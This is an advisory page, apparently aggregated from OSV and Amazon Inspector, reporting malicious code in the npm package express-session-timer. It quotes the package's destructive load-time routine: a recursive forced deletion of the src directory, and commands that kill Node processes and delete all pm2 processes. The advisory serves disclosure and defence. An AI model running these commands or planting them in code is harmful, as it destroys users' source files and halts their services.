Malicious code in express-session-timer (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f) [email protected] schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f "node.*${process.cwd()}"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.

Source published

9 Sep 2026 01:41:37 UTC

Source modified

30 Sep 2026 05:30:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.